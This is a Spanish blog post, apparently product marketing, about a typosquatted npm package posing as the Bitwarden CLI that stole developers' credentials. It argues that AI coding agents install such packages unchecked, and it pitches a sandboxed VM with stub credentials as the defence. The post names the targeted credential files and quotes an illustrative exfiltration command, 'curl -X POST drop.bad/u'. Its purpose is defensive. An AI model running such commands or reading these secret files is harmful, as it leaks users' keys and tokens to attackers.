Tu agente de programación instaló el Bitwarden falso
El 22 de abril, alguien subió un paquete malicioso de npm llamado @bitwarden/[email protected] — un typosquat que barrió claves SSH, credenciales de AWS/Azure/GCP, tokens de GitHub, tokens de publicación de npm y kubeconfigs de cualquier máquina que lo ejecutara. Aquello de lo que está diseñado para alimentarse es exactamente lo que los agentes de programación modernos hacen sin pensar: instalar lo que sea que npm les devuelva. Aquí ves cómo es esa cadena, y qué cambia cuando el agente corre dentro de una VM de Bromure en lugar de en tu portátil.
La semana pasada alguien subió a npm un paquete llamado
@bitwarden/[email protected]. El Bitwarden CLI real está bien. El
falso era un typosquat con un script post-install que leía las
claves SSH del desarrollador, sus credenciales de AWS, su token
de npm y su kubeconfig, y hacía un POST con el bundle a un
servidor en un espacio de IP alquilado. Hay un chiste enterrado
ahí — un gestor de contraseñas falso cuyo trabajo real es
robar credenciales — pero la observación más útil es que en 2026
los más propensos a teclear npm install @bitwarden/cli ya no
son desarrolladores humanos. Son agentes de programación que
instalan lo que sea que el gestor de paquetes les devuelva.
A ver. Aquí va la noticia, en tres frases.
El 22 de abril de 2026 alguien publicó en npm un paquete con el
nombre @bitwarden/[email protected]. Según el
análisis
de Unit 42, el paquete era un typosquat atribuido a un grupo que
se hace llamar TeamPCP — el mismo equipo al que Datadog
vinculó
con la compromisión del paquete LiteLLM en PyPI tres semanas antes —
y su script post-install rastrillaba el host en busca de
credenciales de AWS, Azure y GCP, tokens de publicación de npm,
tokens de GitHub, claves SSH y kubeconfigs, los empaquetaba y los
enviaba a la infraestructura del atacante. OX Security, encuadrando
el mismo incidente en un contexto más amplio, lo llamó
la tercera venida de Shai-Hulud —
la última entrada en un gusano autorreplicante de cadena de
suministro que, desde septiembre de 2025, se ha comido miles de
paquetes de npm y no muestra ningún signo de agotarse.
El chiste, que quiero quitarme de en medio antes de hablar de qué hacer al respecto, es que el Bitwarden CLI falso, en cierto sentido, hace exactamente lo que se supone que hace un Bitwarden CLI. Su trabajo es saber de muchas credenciales. Las credenciales en cuestión simplemente no eran las que el usuario contrató. En fin. El ataque en sí mecánicamente no tiene interés. Lo interesante, y lo que hace que este incidente merezca un post, es quién va a instalarlo.
Un paquete que ya nadie teclea.
Una desarrolladora humana que quiere el Bitwarden CLI real suele ir a bitwarden.com/help/cli, lee la documentación, copia el comando de instalación de una página cuya cadena de certificados TLS termina en un proveedor que reconoce, y lo teclea. Puede equivocarse, claro — esa es la premisa entera del typosquatting — pero tiene que estar con prisa, a oscuras, y con mala suerte.
Los agentes de programación no están con prisa, ni a oscuras, ni
con mala suerte. Son algo peor: confiadamente equivocados, a
velocidad de máquina. Le pides a Claude Code que «conecte Bitwarden
para que el script de despliegue pueda sacar la API key del
vault», y el modelo — que ha leído un millón de blog posts que
dicen npm install -g @bitwarden/cli — teclea
npm install -g @bitwarden/cli. El gestor de paquetes devuelve
un paquete llamado @bitwarden/cli. No hay humano en el bucle
comprobando el campo publisher. No hay cadena de certificados de
bitwarden.com que inspeccionar, porque npm es la cadena de
certificados. De hecho, no hay razón para que el agente no
ejecute el script post-install que el paquete trae, porque eso es
lo que hacen los paquetes de npm.
Lo que hay que notar de esta foto es que ninguna parte es un bug.
Los paquetes de npm pueden traer scripts postinstall. Esos
scripts corren con los mismos privilegios que el usuario que
invoca npm. Un script que corre como el usuario puede leer todo
lo que el usuario puede leer. Eso incluye — y esta es la parte que
se vuelve un problema cuando es un agente quien teclea —
~/.ssh/id_ed25519, ~/.aws/credentials, el token de publicación
de npm en ~/.npmrc que te permite republicar otros paquetes,
el token de GitHub que está en tu shell, la kubeconfig que te
permite hacer kubectl exec en producción. No pusiste eso ahí
para el agente. Lo pusiste ahí para ti. El agente está usando
ahora tus manos.
Esta es la parte donde, si te estuviera intentando vender el mismo problema en 2018, ahora diría «y por eso deberías usar un sandbox». Y tú dirías, justamente: «sí, ya he oído hablar de los sandboxes». Y nos iríamos a tomar un café. La razón por la que estoy escribiendo este post en 2026 es que el sandbox que de verdad convierte el escenario @bitwarden/cli en un no-evento tiene una forma ligeramente distinta a la que se ha estado ofreciendo durante la última década, y la diferencia es justo el asunto.
La forma del arreglo de verdad.
Supón que, en lugar de correr esto en tu Mac, el agente de
programación corre dentro de una VM Linux que solo comparte la
carpeta del proyecto a la que la apuntaste. Supón que el
~/.aws/credentials de esa VM es un stub — un archivo de
credenciales AWS sintácticamente válido que no contiene nada
real — y lo mismo para ~/.npmrc, $GH_TOKEN y el resto. Supón
que la VM no tiene ~/.ssh/id_ed25519 en absoluto, solo un socket
de ssh-agent reenviado cuyas claves están en el Keychain de macOS
del lado host de la frontera. Supón, finalmente, que hay un
pequeño proxy en el host que reconoce esos stubs en el cable y los
intercambia por los reales, pero solo en endpoints en lista
blanca, solo en el momento en que una petición efectivamente sale
del hipervisor.
Ahora ejecuta el script post-install de @bitwarden/cli en esa VM.
Hace exactamente lo que hacía antes. Lee ~/.aws/credentials. Lee
~/.npmrc. Lee $GH_TOKEN. Lee incluso el contenido del
archivo socket de ssh-agent, que es un socket de dominio Unix y
por tanto tiene cero bytes. Empaqueta todo, lo cifra con su clave
RSA-4096 hardcodeada y hace POST a su servidor de drop.
El servidor de drop recibe un bundle criptográficamente perfecto de marcadores de posición.
Hay un par de detalles sutiles en la foto en los que merece la pena detenerse, porque son la diferencia entre este diseño y un contenedor.
El primero es que el proxy es de salida, en lista blanca y
al cable. No es un sidecar dentro de la VM. La VM nunca tiene el
token real de GitHub en ninguna forma alcanzable. No hay variable
de entorno que volcar, ni archivo que leer, ni página de memoria
que rascar. Cuando el agente hace git push, la petición sale de
la VM con el stub en la cabecera Authorization; el proxy del
host reconoce el stub, mete tu ghp_… real, reenvía la petición y
reenvía la respuesta. Cuando el malware hace
curl -X POST drop.bad/u, el proxy busca drop.bad, no encuentra
nada en su lista blanca y o tira la petición o — según la
política de salida de la VM — la reenvía tal cual, con el stub
que el malware haya pillado. De cualquier modo, la credencial
real está en el lado equivocado de la frontera en el único momento
en que el malware estaba mirando.
El segundo es que la clave SSH no está, en ningún sentido, dentro
de la VM. ssh-agent corre en macOS. Las claves privadas del agente
viven en el Keychain de macOS. Bromure reenvía el socket del
agente — igual que OpenSSH lleva haciéndolo desde los 90 y por la
misma razón — a la VM. Dentro de la VM, ssh y git funcionan
como siempre; la operación de firma subyacente ocurre en el host,
donde el malware corriendo dentro de la VM no puede verla. Un
paquete que hace cat ~/.ssh/id_ed25519 recibe
No such file or directory y se vuelve a casa.
Por qué un contenedor no te lleva hasta aquí.
A ver. La objeción a estas alturas — y es legítima — es: «vale, pero llevamos diez años con Docker, puedes correr un agente dentro de un contenedor, ¿no es suficiente?». Lo sería, salvo por dos razones aburridas.
La primera es que para hacer útil un contenedor para las cosas que
un agente de programación realmente hace — git push,
gh pr create, aws s3 cp, npm publish, kubectl exec —
acabas montando ~/.ssh, ~/.aws/credentials, ~/.npmrc y tu
token de GitHub dentro del contenedor. En ese punto, el script
post-install hace cat ~/.ssh/id_ed25519 y obtiene el archivo de
verdad. Los contenedores no tienen un intermediario de
credenciales; tienen un bind mount. El bind mount es justo el
flanco débil que el malware estaba buscando.
La segunda es que en macOS el contenedor está corriendo dentro de una VM Linux oculta de todas formas. Docker Desktop trae una; OrbStack trae una; Colima trae una. Ya estás pagando el coste de la VM — el disco, la memoria, el tiempo de arranque. El argumento para un contenedor, en macOS, en 2026, no es «es más ligero». Es solo «es a lo que estoy acostumbrado». Bromure se salta la capa intermedia. Hay una VM. Es visible. Es tuya. El intermediario de credenciales y el reenvío de ssh-agent son las piezas para las que el modelo contenedor nunca tuvo una historia.
Lo que la traza pilla y que no ibas a leer.
La otra cosa que merece decirse sobre un agente que instala algo
que nadie pidió es que muy a menudo nadie se enteró. El agente
hace npm install, el agente recibe un muro de output, el agente
resume «instalé Bitwarden CLI y lo configuré» en una sola frase
en el chat, y tú haces scroll. El script post-install corrió en
medio de ese muro. No leíste el muro. Nadie lee el muro.
El tracer de sesión de Bromure captura el muro — cada prompt,
cada llamada a herramienta, cada comando de shell, cada escritura
de archivo, cada exit code — y te deja desplazarte hacia atrás
después de que la sesión haya terminado. «Encuentra cada
npm install que el agente lanzó hoy» es un grep. «¿El agente
lanzó alguna herramienta que escribiera fuera de la carpeta del
proyecto?» es un grep. Cuando aparezca el siguiente
@bitwarden/[email protected] — y aparecerá — la traza te dice qué
sesiones lo tocaron y qué carpetas de proyecto estaban montadas
en ese momento. No tienes que reconstruirlo de memoria ni desde
un scrollback parcial. La sesión es el log de auditoría.
Lo que esto pilla
Un agente de programación que instala @bitwarden/cli (o
litellm, o axios, o el siguiente) dentro de una VM de
Bromure encuentra, cuando barre en busca de credenciales, un
directorio SSH vacío y un llavero de stubs. El script
post-install corre. El POST de exfil sale. El bundle es un
placeholder. El radio de impacto es la VM.
Lo que el reset convierte en no-evento
Si el malware hace algo más allá del robo de credenciales —
persistencia en crontab, un ~/.bashrc envenenado, un
equivalente a launchd dentro del invitado —, nada de eso
sobrevive al siguiente bromure reset. No tienes que
encontrar la persistencia; tienes que tirarla. Tres
segundos, kernel limpio, sigues programando.
Lo que esto no pilla
Un paquete que llama a un backend real que has metido en lista
blanca — pongamos un paquete que usa tu token de GitHub real
para borrar tus propios repos — recibe el token real al
cable, por diseño, porque así es como funciona git push. La
defensa es una pequeña lista blanca de salida y una traza de
sesión, no la omnisciencia. El daño dentro de la carpeta del
proyecto sigue cayendo dentro de la carpeta del proyecto.
Lo que sigue necesitando un humano
Nada en Bromure impide que un agente de programación se deje convencer para hacer commit de código malo. La frontera protege las credenciales en tu máquina; no revisa el diff. Lee el diff. La traza te facilita saber qué diffs leer.
Una última cosa.
Hay una versión de esta historia donde te diría que la lección es «audita tus dependencias». También hay una versión donde la lección es «deja de usar npm». Ambas versiones existen, ambas tienen parte de razón, y ninguna va a pasar en tu equipo este trimestre.
La versión que sí va a pasar en tu equipo este trimestre es que el agente va a instalar algo que no debería haber instalado, porque el agente instala muchas cosas, y en algún punto de la cola larga de las cosas que instala habrá una que la subió el miércoles pasado alguien que se hace llamar TeamPCP o Shai-Hulud o como se llame el siguiente grupo. La pregunta es solo: cuando lo haga, ¿el script post-install encuentra los secretos, o encuentra un muro?
Bromure Agentic Coding es ese muro. Es además gratis, de código abierto y disponible desde hoy. Te toca.